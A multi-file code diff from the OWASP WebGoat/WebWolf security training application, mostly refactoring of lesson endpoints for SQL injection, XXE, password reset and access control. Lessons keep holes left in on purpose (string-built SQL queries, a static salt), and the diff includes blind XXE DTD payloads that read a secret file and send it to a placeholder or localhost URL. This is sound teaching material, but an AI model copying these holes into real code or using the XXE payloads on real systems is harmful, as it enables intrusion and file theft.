jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter() {
@Override
public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {
return TextCodec.BASE64.decode(key);

View File

@ -1,7 +1,5 @@
package org.owasp.webgoat.missing_ac;
import lombok.Getter;
import org.owasp.webgoat.users.WebGoatUser;
import org.springframework.security.core.GrantedAuthority;
@ -32,10 +30,8 @@ import java.util.Base64;
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
* <p>
*
*/
public class DisplayUser {
//intended to provide a display version of WebGoatUser for admins to view user attributes
@ -63,7 +59,7 @@ public class DisplayUser {
}
protected String genUserHash (String username, String password) throws Exception {
protected String genUserHash(String username, String password) throws Exception {
MessageDigest md = MessageDigest.getInstance("SHA-256");
// salting is good, but static & too predictable ... short too for a salt
String salted = password + "DeliberatelyInsecure1234" + username;

View File

@ -22,23 +22,14 @@
package org.owasp.webgoat.missing_ac;
import com.google.common.collect.Lists;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.UserSessionData;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
/**
* Created by jason on 1/5/17.

View File

@ -58,7 +58,6 @@ public class Users {
if ((results != null) && (results.first() == true)) {
while (results.next()) {
int id = results.getInt(0);
HashMap<String, String> userMap = new HashMap<>();
userMap.put("first", results.getString(1));
userMap.put("last", results.getString(2));
@ -66,7 +65,7 @@ public class Users {
userMap.put("ccType", results.getString(4));
userMap.put("cookie", results.getString(5));
userMap.put("loginCount", Integer.toString(results.getInt(6)));
allUsersMap.put(id, userMap);
allUsersMap.put(results.getInt(0), userMap);
}
userSessionData.setValue("allUsers", allUsersMap);
return allUsersMap;

View File

@ -40,7 +40,7 @@ import java.util.Map;
@RestController
public class QuestionsAssignment extends AssignmentEndpoint {
private final static Map<String, String> COLORS = new HashMap<>();
private static final Map<String, String> COLORS = new HashMap<>();
static {
COLORS.put("admin", "green");

View File

@ -22,8 +22,7 @@
package org.owasp.webgoat.password_reset;
import com.google.common.collect.EvictingQueue;
import com.google.common.collect.Maps;
import com.beust.jcommander.internal.Maps;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AttackResult;
@ -33,6 +32,9 @@ import org.springframework.validation.BindingResult;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.servlet.ModelAndView;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
/**
@ -45,18 +47,18 @@ public class ResetLinkAssignment extends AssignmentEndpoint {
static final String PASSWORD_TOM_9 = "somethingVeryRandomWhichNoOneWillEverTypeInAsPasswordForTom";
static final String TOM_EMAIL = "tom@webgoat-cloud.org";
static Map<String, String> userToTomResetLink = Maps.newHashMap();
static Map<String, String> userToTomResetLink = new HashMap<>();
static Map<String, String> usersToTomPassword = Maps.newHashMap();
static EvictingQueue<String> resetLinks = EvictingQueue.create(1000);
static List<String> resetLinks = new ArrayList<>();
static final String TEMPLATE = "Hi, you requested a password reset link, please use this " +
"<a target='_blank' href='http://%s/WebGoat/PasswordReset/reset/reset-password/%s'>link</a> to reset your password." +
"\n \n\n" +
"If you did not request this password change you can ignore this message." +
"\n" +
"If you have any comments or questions, please do not hesitate to reach us at support@webgoat-cloud.org" +
"\n\n" +
"Kind regards, \nTeam WebGoat";
static final String TEMPLATE = "Hi, you requested a password reset link, please use this "
+ "<a target='_blank' href='http://%s/WebGoat/PasswordReset/reset/reset-password/%s'>link</a> to reset your password."
+ "\n \n\n"
+ "If you did not request this password change you can ignore this message."
+ "\n"
+ "If you have any comments or questions, please do not hesitate to reach us at support@webgoat-cloud.org"
+ "\n\n"
+ "Kind regards, \nTeam WebGoat";
@PostMapping("/PasswordReset/reset/login")

View File

@ -22,17 +22,17 @@
package org.owasp.webgoat.password_reset;
import com.google.common.collect.Sets;
import org.springframework.stereotype.Component;
import org.springframework.web.context.annotation.SessionScope;
import java.util.HashSet;
import java.util.Set;
@Component
@SessionScope
public class TriedQuestions {
private Set<String> answeredQuestions = Sets.newHashSet();
private Set<String> answeredQuestions = new HashSet<>();
public void incr(String question) {
answeredQuestions.add(question);

View File

@ -15,7 +15,7 @@ import javax.validation.constraints.Size;
public class PasswordChangeForm {
@NotNull
@Size(min=6, max=10)
@Size(min = 6, max = 10)
private String password;
private String resetLink;

View File

@ -39,36 +39,36 @@ public class SecurePasswordsAssignment extends AssignmentEndpoint {
@ResponseBody
public AttackResult completed(@RequestParam String password) {
Zxcvbn zxcvbn = new Zxcvbn();
Strength strength = zxcvbn.measure(password);
StringBuffer output = new StringBuffer();
DecimalFormat df = new DecimalFormat("0", DecimalFormatSymbols.getInstance(Locale.ENGLISH));
df.setMaximumFractionDigits(340);
Strength strength = zxcvbn.measure(password);
output.append("<b>Your Password: *******</b></br>");
output.append("<b>Length: </b>" + password.length()+ "</br>");
output.append("<b>Estimated guesses needed to crack your password: </b>" + df.format(strength.getGuesses())+ "</br>");
output.append("<div style=\"float: left;padding-right: 10px;\"><b>Score: </b>" + strength.getScore()+ "/4 </div>");
if(strength.getScore()<=1){
output.append("<b>Length: </b>" + password.length() + "</br>");
output.append("<b>Estimated guesses needed to crack your password: </b>" + df.format(strength.getGuesses()) + "</br>");
output.append("<div style=\"float: left;padding-right: 10px;\"><b>Score: </b>" + strength.getScore() + "/4 </div>");
if (strength.getScore() <= 1) {
output.append("<div style=\"background-color:red;width: 200px;border-radius: 12px;float: left;\">&nbsp;</div></br>");
} else if(strength.getScore()<=3){
} else if (strength.getScore() <= 3) {
output.append("<div style=\"background-color:orange;width: 200px;border-radius: 12px;float: left;\">&nbsp;</div></br>");
} else{
} else {
output.append("<div style=\"background-color:green;width: 200px;border-radius: 12px;float: left;\">&nbsp;</div></br>");
}
output.append("<b>Estimated cracking time: </b>" + calculateTime((long) strength.getCrackTimeSeconds().getOnlineNoThrottling10perSecond()));
if(strength.getFeedback().getWarning().length() != 0)
if (strength.getFeedback().getWarning().length() != 0)
output.append("</br><b>Warning: </b>" + strength.getFeedback().getWarning());
// possible feedback: https://github.com/dropbox/zxcvbn/blob/master/src/feedback.coffee
// maybe ask user to try also weak passwords to see and understand feedback?
if(strength.getFeedback().getSuggestions().size() != 0){
if (strength.getFeedback().getSuggestions().size() != 0) {
output.append("</br><b>Suggestions:</b></br><ul>");
for(String sug: strength.getFeedback().getSuggestions()) output.append("<li>"+sug+"</li>");
for (String sug : strength.getFeedback().getSuggestions()) output.append("<li>" + sug + "</li>");
output.append("</ul></br>");
}
output.append("<b>Score: </b>" + strength.getScore()+ "/5 </br>");
output.append("<b>Score: </b>" + strength.getScore() + "/5 </br>");
output.append("<b>Estimated cracking time in seconds: </b>" + calculateTime((long) strength.getCrackTimeSeconds().getOnlineNoThrottling10perSecond()));
if(strength.getScore() >= 4)
if (strength.getScore() >= 4)
return trackProgress(success().feedback("securepassword-success").output(output.toString()).build());
else
return trackProgress(failed().feedback("securepassword-failed").output(output.toString()).build());
@ -76,16 +76,16 @@ public class SecurePasswordsAssignment extends AssignmentEndpoint {
public static String calculateTime(long seconds) {
int s = 1;
int min = (60*s);
int hr = (60*min);
int d = (24*hr);
int yr = (365*d);
int min = (60 * s);
int hr = (60 * min);
int d = (24 * hr);
int yr = (365 * d);
long years = seconds/(d)/365;
long days = (seconds%yr)/(d);
long hours = (seconds%d)/(hr);
long minutes = (seconds%hr)/(min);
long sec = (seconds%min*s);
long years = seconds / (d) / 365;
long days = (seconds % yr) / (d);
long hours = (seconds % d) / (hr);
long minutes = (seconds % hr) / (min);
long sec = (seconds % min * s);
return (years + " years " + days + " days " + hours + " hours " + minutes + " minutes " + sec + " seconds");
}

View File

@ -47,7 +47,7 @@ public class SqlInjectionQuiz extends AssignmentEndpoint {
String[] givenAnswers = {question_0_solution[0], question_1_solution[0], question_2_solution[0], question_3_solution[0], question_4_solution[0]};
for(int i = 0; i < solutions.length; i++) {
for (int i = 0; i < solutions.length; i++) {
if (givenAnswers[i].contains(solutions[i])) {
// answer correct
correctAnswers++;
@ -58,7 +58,7 @@ public class SqlInjectionQuiz extends AssignmentEndpoint {
}
}
if(correctAnswers == solutions.length) {
if (correctAnswers == solutions.length) {
return trackProgress(success().build());
} else {
return trackProgress(failed().build());

View File

@ -93,8 +93,8 @@ public class SqlInjectionLesson10 extends AssignmentEndpoint {
int cols = results.getMetaData().getColumnCount();
return (cols > 0);
} catch (SQLException e) {
String error_msg = e.getMessage();
if (error_msg.contains("object not found: ACCESS_LOG")) {
String errorMsg = e.getMessage();
if (errorMsg.contains("object not found: ACCESS_LOG")) {
return false;
} else {
System.err.println(e.getMessage());

View File

@ -57,19 +57,19 @@ public class SqlInjectionLesson3 extends AssignmentEndpoint {
return injectableQuery(query);
}
protected AttackResult injectableQuery(String _query) {
protected AttackResult injectableQuery(String query) {
try (Connection connection = dataSource.getConnection()) {
try (Statement statement = connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY)) {
Statement check_statement = connection.createStatement(TYPE_SCROLL_INSENSITIVE,
Statement checkStatement = connection.createStatement(TYPE_SCROLL_INSENSITIVE,
CONCUR_READ_ONLY);
statement.executeUpdate(_query);
ResultSet _results = check_statement.executeQuery("SELECT * FROM employees WHERE last_name='Barnett';");
statement.executeUpdate(query);
ResultSet results = checkStatement.executeQuery("SELECT * FROM employees WHERE last_name='Barnett';");
StringBuffer output = new StringBuffer();
// user completes lesson if the department of Tobi Barnett now is 'Sales'
_results.first();
if (_results.getString("department").equals("Sales")) {
output.append("<span class='feedback-positive'>" + _query + "</span>");
output.append(SqlInjectionLesson8.generateTable(_results));
results.first();
if (results.getString("department").equals("Sales")) {
output.append("<span class='feedback-positive'>" + query + "</span>");
output.append(SqlInjectionLesson8.generateTable(results));
return trackProgress(success().output(output.toString()).build());
} else {
return trackProgress(failed().output(output.toString()).build());

View File

@ -53,16 +53,16 @@ public class SqlInjectionLesson4 extends AssignmentEndpoint {
return injectableQuery(query);
}
protected AttackResult injectableQuery(String _query) {
protected AttackResult injectableQuery(String query) {
try (Connection connection = dataSource.getConnection()) {
try (Statement statement = connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY)) {
statement.executeUpdate(_query);
statement.executeUpdate(query);
connection.commit();
ResultSet _results = statement.executeQuery("SELECT phone from employees;");
ResultSet results = statement.executeQuery("SELECT phone from employees;");
StringBuffer output = new StringBuffer();
// user completes lesson if column phone exists
if (_results.first()) {
output.append("<span class='feedback-positive'>" + _query + "</span>");
if (results.first()) {
output.append("<span class='feedback-positive'>" + query + "</span>");
return trackProgress(success().output(output.toString()).build());
} else {
return trackProgress(failed().output(output.toString()).build());

View File

@ -22,7 +22,6 @@
package org.owasp.webgoat.sql_injection.introduction;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AttackResult;
@ -62,8 +61,8 @@ public class SqlInjectionLesson5b extends AssignmentEndpoint {
try {
count = Integer.parseInt(login_count);
} catch (Exception e) {
return trackProgress(failed().output("Could not parse: " + login_count + " to a number" +
"<br> Your query was: " + queryString.replace("?", login_count)).build());
return trackProgress(failed().output("Could not parse: " + login_count + " to a number"
+ "<br> Your query was: " + queryString.replace("?", login_count)).build());
}
query.setInt(1, count);
@ -87,8 +86,6 @@ public class SqlInjectionLesson5b extends AssignmentEndpoint {
} else {
return trackProgress(failed().feedback("sql-injection.5b.no.results").output("Your query was: " + queryString.replace("?", login_count)).build());
// output.append(getLabelManager().get("NoResultsMatched"));
}
} catch (SQLException sqle) {

View File

@ -130,11 +130,11 @@ public class SqlInjectionLesson8 extends AssignmentEndpoint {
SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
String time = sdf.format(cal.getTime());
String log_query = "INSERT INTO access_log (time, action) VALUES ('" + time + "', '" + action + "')";
String logQuery = "INSERT INTO access_log (time, action) VALUES ('" + time + "', '" + action + "')";
try {
Statement statement = connection.createStatement(TYPE_SCROLL_SENSITIVE, CONCUR_UPDATABLE);
statement.executeUpdate(log_query);
statement.executeUpdate(logQuery);
} catch (SQLException e) {
System.err.println(e.getMessage());
}

View File

@ -22,10 +22,10 @@
package org.owasp.webgoat.sql_injection.mitigation;
import com.google.common.collect.Lists;
import lombok.AllArgsConstructor;
import lombok.Getter;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.*;
@ -33,6 +33,8 @@ import javax.sql.DataSource;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.List;
/**
@ -41,6 +43,7 @@ import java.util.List;
*/
@RestController
@RequestMapping("SqlInjectionMitigations/servers")
@Slf4j
public class Servers {
private final DataSource dataSource;
@ -62,16 +65,19 @@ public class Servers {
}
@GetMapping(produces = MediaType.APPLICATION_JSON_VALUE)
@SneakyThrows
@ResponseBody
public List<Server> sort(@RequestParam String column) {
Connection connection = dataSource.getConnection();
PreparedStatement preparedStatement = connection.prepareStatement("select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by " + column);
ResultSet rs = preparedStatement.executeQuery();
List<Server> servers = Lists.newArrayList();
while (rs.next()) {
Server server = new Server(rs.getString(1), rs.getString(2), rs.getString(3), rs.getString(4), rs.getString(5), rs.getString(6));
servers.add(server);
List<Server> servers = new ArrayList<>();
try (Connection connection = dataSource.getConnection();
PreparedStatement preparedStatement = connection.prepareStatement("select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by " + column)) {
ResultSet rs = preparedStatement.executeQuery();
while (rs.next()) {
Server server = new Server(rs.getString(1), rs.getString(2), rs.getString(3), rs.getString(4), rs.getString(5), rs.getString(6));
servers.add(server);
}
} catch (SQLException e) {
log.error("Unable to get servers", e);
}
return servers;
}

View File

@ -49,21 +49,21 @@ public class SqlInjectionLesson10b extends AssignmentEndpoint {
editor = editor.replaceAll("\\<.*?>", "");
String regex_setsUpConnection = "(?=.*getConnection.*)";
String regex_usesPreparedStatement = "(?=.*PreparedStatement.*)";
String regex_usesPlaceholder = "(?=.*\\=\\?.*|.*\\=\\s\\?.*)";
String regex_usesSetString = "(?=.*setString.*)";
String regex_usesExecute = "(?=.*execute.*)";
String regex_usesExecuteUpdate = "(?=.*executeUpdate.*)";
String regexSetsUpConnection = "(?=.*getConnection.*)";
String regexUsesPreparedStatement = "(?=.*PreparedStatement.*)";
String regexUsesPlaceholder = "(?=.*\\=\\?.*|.*\\=\\s\\?.*)";
String regexUsesSetString = "(?=.*setString.*)";
String regexUsesExecute = "(?=.*execute.*)";
String regexUsesExecuteUpdate = "(?=.*executeUpdate.*)";
String codeline = editor.replace("\n", "").replace("\r", "");
boolean setsUpConnection = this.check_text(regex_setsUpConnection, codeline);
boolean usesPreparedStatement = this.check_text(regex_usesPreparedStatement, codeline);
boolean usesSetString = this.check_text(regex_usesSetString, codeline);
boolean usesPlaceholder = this.check_text(regex_usesPlaceholder, codeline);
boolean usesExecute = this.check_text(regex_usesExecute, codeline);
boolean usesExecuteUpdate = this.check_text(regex_usesExecuteUpdate, codeline);
boolean setsUpConnection = this.check_text(regexSetsUpConnection, codeline);
boolean usesPreparedStatement = this.check_text(regexUsesPreparedStatement, codeline);
boolean usesSetString = this.check_text(regexUsesSetString, codeline);
boolean usesPlaceholder = this.check_text(regexUsesPlaceholder, codeline);
boolean usesExecute = this.check_text(regexUsesExecute, codeline);
boolean usesExecuteUpdate = this.check_text(regexUsesExecuteUpdate, codeline);
boolean hasImportant = (setsUpConnection && usesPreparedStatement && usesPlaceholder && usesSetString && (usesExecute || usesExecuteUpdate));
List<Diagnostic> hasCompiled = this.compileFromString(editor);
@ -79,7 +79,7 @@ public class SqlInjectionLesson10b extends AssignmentEndpoint {
} else {
return trackProgress(failed().feedback("sql-injection.10b.failed").build());
}
} catch(Exception e) {
} catch (Exception e) {
return trackProgress(failed().output(e.getMessage()).build());
}
}
@ -87,7 +87,7 @@ public class SqlInjectionLesson10b extends AssignmentEndpoint {
private List<Diagnostic> compileFromString(String s) {
JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
DiagnosticCollector diagnosticsCollector = new DiagnosticCollector();
StandardJavaFileManager fileManager = compiler.getStandardFileManager(diagnosticsCollector, null, null);
StandardJavaFileManager fileManager = compiler.getStandardFileManager(diagnosticsCollector, null, null);
JavaFileObject javaObjectFromString = getJavaFileContentsAsString(s);
Iterable fileObjects = Arrays.asList(javaObjectFromString);
JavaCompiler.CompilationTask task = compiler.getTask(null, fileManager, diagnosticsCollector, null, null, fileObjects);
@ -96,12 +96,12 @@ public class SqlInjectionLesson10b extends AssignmentEndpoint {
return diagnostics;
}
private SimpleJavaFileObject getJavaFileContentsAsString(String s){
private SimpleJavaFileObject getJavaFileContentsAsString(String s) {
StringBuilder javaFileContents = new StringBuilder("import java.sql.*; public class TestClass { static String DBUSER; static String DBPW; static String DBURL; public static void main(String[] args) {" + s + "}}");
JavaObjectFromString javaFileObject = null;
try{
try {
javaFileObject = new JavaObjectFromString("TestClass.java", javaFileContents.toString());
}catch(Exception exception){
} catch (Exception exception) {
exception.printStackTrace();
}
return javaFileObject;
@ -109,10 +109,12 @@ public class SqlInjectionLesson10b extends AssignmentEndpoint {
class JavaObjectFromString extends SimpleJavaFileObject {
private String contents = null;
public JavaObjectFromString(String className, String contents) throws Exception{
public JavaObjectFromString(String className, String contents) throws Exception {
super(new URI(className), Kind.SOURCE);
this.contents = contents;
}
public CharSequence getCharContent(boolean ignoreEncodingErrors) throws IOException {
return contents;
}
@ -121,7 +123,7 @@ public class SqlInjectionLesson10b extends AssignmentEndpoint {
private boolean check_text(String regex, String text) {
Pattern p = Pattern.compile(regex, Pattern.CASE_INSENSITIVE);
Matcher m = p.matcher(text);
if(m.find())
if (m.find())
return true;
else return false;
}

View File

@ -36,6 +36,7 @@ import javax.sql.DataSource;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
@RestController
@AssignmentHints(value = {"SqlStringInjectionHint-mitigation-12a-1", "SqlStringInjectionHint-mitigation-12a-2", "SqlStringInjectionHint-mitigation-12a-3", "SqlStringInjectionHint-mitigation-12a-4"})
@ -50,10 +51,9 @@ public class SqlInjectionLesson12a extends AssignmentEndpoint {
@PostMapping("/SqlInjectionMitigations/attack12a")
@ResponseBody
@SneakyThrows
public AttackResult completed(@RequestParam String ip) {
try (Connection connection = dataSource.getConnection()) {
PreparedStatement preparedStatement = connection.prepareStatement("select ip from servers where ip = ? and hostname = ?");
try (Connection connection = dataSource.getConnection();
PreparedStatement preparedStatement = connection.prepareStatement("select ip from servers where ip = ? and hostname = ?")) {
preparedStatement.setString(1, ip);
preparedStatement.setString(2, "webgoat-prd");
ResultSet resultSet = preparedStatement.executeQuery();
@ -61,6 +61,9 @@ public class SqlInjectionLesson12a extends AssignmentEndpoint {
return trackProgress(success().build());
}
return trackProgress(failed().build());
} catch (SQLException e) {
log.error("Failed", e);
return trackProgress(failed().build());
}
}
}

View File

@ -1,19 +1,22 @@
package org.owasp.webgoat.xxe;
import com.google.common.base.Charsets;
import com.google.common.io.Files;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import javax.annotation.PostConstruct;
import java.io.File;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import static org.apache.commons.lang3.RandomStringUtils.randomAlphabetic;
@ -46,8 +49,9 @@ import static org.apache.commons.lang3.RandomStringUtils.randomAlphabetic;
* @version $Id: $Id
* @since November 18, 2016
*/
@Slf4j
@RestController
@AssignmentHints({"xxe.blind.hints.1","xxe.blind.hints.2","xxe.blind.hints.3","xxe.blind.hints.4","xxe.blind.hints.5"})
@AssignmentHints({"xxe.blind.hints.1", "xxe.blind.hints.2", "xxe.blind.hints.3", "xxe.blind.hints.4", "xxe.blind.hints.5"})
public class BlindSendFileAssignment extends AssignmentEndpoint {
static final String CONTENTS = "WebGoat 8.0 rocks... (" + randomAlphabetic(10) + ")";
@ -57,13 +61,16 @@ public class BlindSendFileAssignment extends AssignmentEndpoint {
private Comments comments;
@PostConstruct
@SneakyThrows
public void createSecretFileWithRandomContents() {
File targetDirectory = new File(webGoatHomeDirectory, "/XXE");
if (!targetDirectory.exists()) {
targetDirectory.mkdir();
}
Files.write(CONTENTS, new File(targetDirectory, "secret.txt"), Charsets.UTF_8);
try {
Files.writeString(new File(targetDirectory, "secret.txt").toPath(), CONTENTS, StandardCharsets.UTF_8);
} catch (IOException e) {
log.error("Unable to write 'secret.txt' to '{}", targetDirectory);
}
}
@PostMapping(path = "xxe/blind", consumes = MediaType.ALL_VALUE, produces = MediaType.APPLICATION_JSON_VALUE)
@ -82,46 +89,4 @@ public class BlindSendFileAssignment extends AssignmentEndpoint {
}
return trackProgress(failed().build());
}
/**
<?xml version="1.0"?>
<!DOCTYPE comment [
<!ENTITY % remote SYSTEM "http://localhost:9090/files/admin2/attack.dtd">
%remote;
]>
<comment> <text>test&send;</text></comment>
**/
/**
* Solution:
*
* Create DTD:
*
* <pre>
* <?xml version="1.0" encoding="UTF-8"?>
* <!ENTITY % file SYSTEM "file:///c:/windows-version.txt">
* <!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:9090/ping?text=%file;'>">
* %all;
* </pre>
*
* This will be reduced to:
*
* <pre>
* <!ENTITY send SYSTEM 'http://localhost:9090/ping?text=[contents_file]'>
* </pre>
*
* Wire it all up in the xml send to the server:
*
* <pre>
* <?xml version="1.0"?>
* <!DOCTYPE root [
* <!ENTITY % remote SYSTEM "http://localhost:9090/WebWolf/files/test.dtd">
* %remote;
* ]>
* <user>
* <username>test&send;</username>
* </user>
*
* </pre>
*
*/
}

View File

@ -24,8 +24,6 @@ package org.owasp.webgoat.xxe;
import com.beust.jcommander.internal.Lists;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.google.common.collect.EvictingQueue;
import com.google.common.collect.Maps;
import org.joda.time.DateTime;
import org.joda.time.format.DateTimeFormat;
import org.joda.time.format.DateTimeFormatter;
@ -40,10 +38,7 @@ import javax.xml.stream.XMLInputFactory;
import javax.xml.stream.XMLStreamReader;
import java.io.IOException;
import java.io.StringReader;
import java.util.Collection;
import java.util.Comparator;
import java.util.Map;
import java.util.Optional;
import java.util.*;
import java.util.stream.Collectors;
import static java.util.Optional.empty;
@ -62,8 +57,8 @@ public class Comments {
protected static DateTimeFormatter fmt = DateTimeFormat.forPattern("yyyy-MM-dd, HH:mm:ss");
private static final Map<String, EvictingQueue<Comment>> userComments = Maps.newHashMap();
private static final EvictingQueue<Comment> comments = EvictingQueue.create(100);
private static final Map<String, List<Comment>> userComments = new HashMap<>();
private static final List<Comment> comments = new ArrayList<>();
static {
comments.add(new Comment("webgoat", DateTime.now().toString(fmt), "Silly cat...."));
@ -110,7 +105,7 @@ public class Comments {
if (visibleForAllUsers) {
comments.add(comment);
} else {
EvictingQueue<Comment> comments = userComments.getOrDefault(webSession.getUserName(), EvictingQueue.create(100));
List<Comment> comments = userComments.getOrDefault(webSession.getUserName(), new ArrayList<>());
comments.add(comment);
userComments.put(webSession.getUserName(), comments);
}

View File

@ -38,8 +38,8 @@ import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE;
@AssignmentHints({"xxe.hints.content.type.xxe.1", "xxe.hints.content.type.xxe.2"})
public class ContentTypeAssignment extends AssignmentEndpoint {
private final static String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "etc", "var"};
private final static String[] DEFAULT_WINDOWS_DIRECTORIES = {"Windows", "Program Files (x86)", "Program Files"};
private static final String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "etc", "var"};
private static final String[] DEFAULT_WINDOWS_DIRECTORIES = {"Windows", "Program Files (x86)", "Program Files"};
@Value("${webgoat.server.directory}")
private String webGoatHomeDirectory;

View File

@ -33,18 +33,13 @@ import java.io.FileNotFoundException;
import java.io.PrintWriter;
@Slf4j
public class Ping {
public class Ping {
@Value("${webgoat.user.directory}")
private String webGoatHomeDirectory;
@Autowired
private WebSession webSession;
// @Override
// public String getPath() {
// return "XXE/ping";
// }
@RequestMapping(method = RequestMethod.GET)
@ResponseBody
public String logRequest(@RequestHeader("User-Agent") String userAgent, @RequestParam(required = false) String text) {

View File

@ -48,16 +48,16 @@ import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE;
@AssignmentHints({"xxe.hints.simple.xxe.1", "xxe.hints.simple.xxe.2", "xxe.hints.simple.xxe.3", "xxe.hints.simple.xxe.4", "xxe.hints.simple.xxe.5", "xxe.hints.simple.xxe.6"})
public class SimpleXXE extends AssignmentEndpoint {
private final static String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "etc", "var"};
private final static String[] DEFAULT_WINDOWS_DIRECTORIES = {"Windows", "Program Files (x86)", "Program Files"};
private static final String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "etc", "var"};
private static final String[] DEFAULT_WINDOWS_DIRECTORIES = {"Windows", "Program Files (x86)", "Program Files"};
@Value("${webgoat.server.directory}")
private String webGoatHomeDirectory;
@Value("${webwolf.url.landingpage}")
private String webWolfURL;
@Autowired
private Comments comments;
@ -85,20 +85,20 @@ public class SimpleXXE extends AssignmentEndpoint {
}
return success;
}
@RequestMapping(path="/xxe/tmpdir",consumes = ALL_VALUE, produces=MediaType.TEXT_PLAIN_VALUE)
@RequestMapping(path = "/xxe/tmpdir", consumes = ALL_VALUE, produces = MediaType.TEXT_PLAIN_VALUE)
@ResponseBody
public String getWebGoatHomeDirectory() {
return webGoatHomeDirectory;
return webGoatHomeDirectory;
}
@RequestMapping(path="/xxe/sampledtd",consumes = ALL_VALUE, produces=MediaType.TEXT_PLAIN_VALUE)
@RequestMapping(path = "/xxe/sampledtd", consumes = ALL_VALUE, produces = MediaType.TEXT_PLAIN_VALUE)
@ResponseBody
public String getSampleDTDFile() {
return "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
"<!ENTITY % file SYSTEM \"file:replace-this-by-webgoat-temp-directory/XXE/secret.txt\">\n" +
"<!ENTITY % all \"<!ENTITY send SYSTEM 'http://replace-this-by-webwolf-base-url/landing?text=%file;'>\">\n" +
"%all;";
return "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n"
+ "<!ENTITY % file SYSTEM \"file:replace-this-by-webgoat-temp-directory/XXE/secret.txt\">\n"
+ "<!ENTITY % all \"<!ENTITY send SYSTEM 'http://replace-this-by-webwolf-base-url/landing?text=%file;'>\">\n"
+ "%all;";
}
}

View File

@ -22,6 +22,7 @@
* projects.
* <p>
*/
package org.owasp.webgoat;
import lombok.extern.slf4j.Slf4j;

View File

@ -22,11 +22,8 @@
package org.owasp.webwolf;
import com.google.common.collect.Lists;
import com.google.common.io.Files;
import lombok.AllArgsConstructor;
import lombok.Getter;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.io.FileUtils;
import org.owasp.webwolf.user.WebGoatUser;
@ -35,22 +32,19 @@ import org.springframework.http.MediaType;
import org.springframework.security.core.context.SecurityContextHolder;
import org.springframework.stereotype.Controller;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.multipart.MultipartFile;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.view.RedirectView;
import javax.servlet.http.HttpServletRequest;
import java.io.File;
import java.io.IOException;
import java.nio.file.Files;
import java.util.ArrayList;
import static org.springframework.http.MediaType.ALL_VALUE;
import java.io.File;
import java.util.List;
/**
* Controller for uploading a file
*/
@ -65,21 +59,20 @@ public class FileServer {
@Value("${server.port}")
private int port;
@RequestMapping(path="/tmpdir",consumes = ALL_VALUE, produces=MediaType.TEXT_PLAIN_VALUE)
@RequestMapping(path = "/tmpdir", consumes = ALL_VALUE, produces = MediaType.TEXT_PLAIN_VALUE)
@ResponseBody
public String getFileLocation() {
return fileLocation;
return fileLocation;
}
@PostMapping(value = "/WebWolf/fileupload")
@SneakyThrows
public ModelAndView importFile(@RequestParam("file") MultipartFile myFile) {
public ModelAndView importFile(@RequestParam("file") MultipartFile myFile) throws IOException {
WebGoatUser user = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal();
File destinationDir = new File(fileLocation, user.getUsername());
destinationDir.mkdirs();
myFile.transferTo(new File(destinationDir, myFile.getOriginalFilename()));
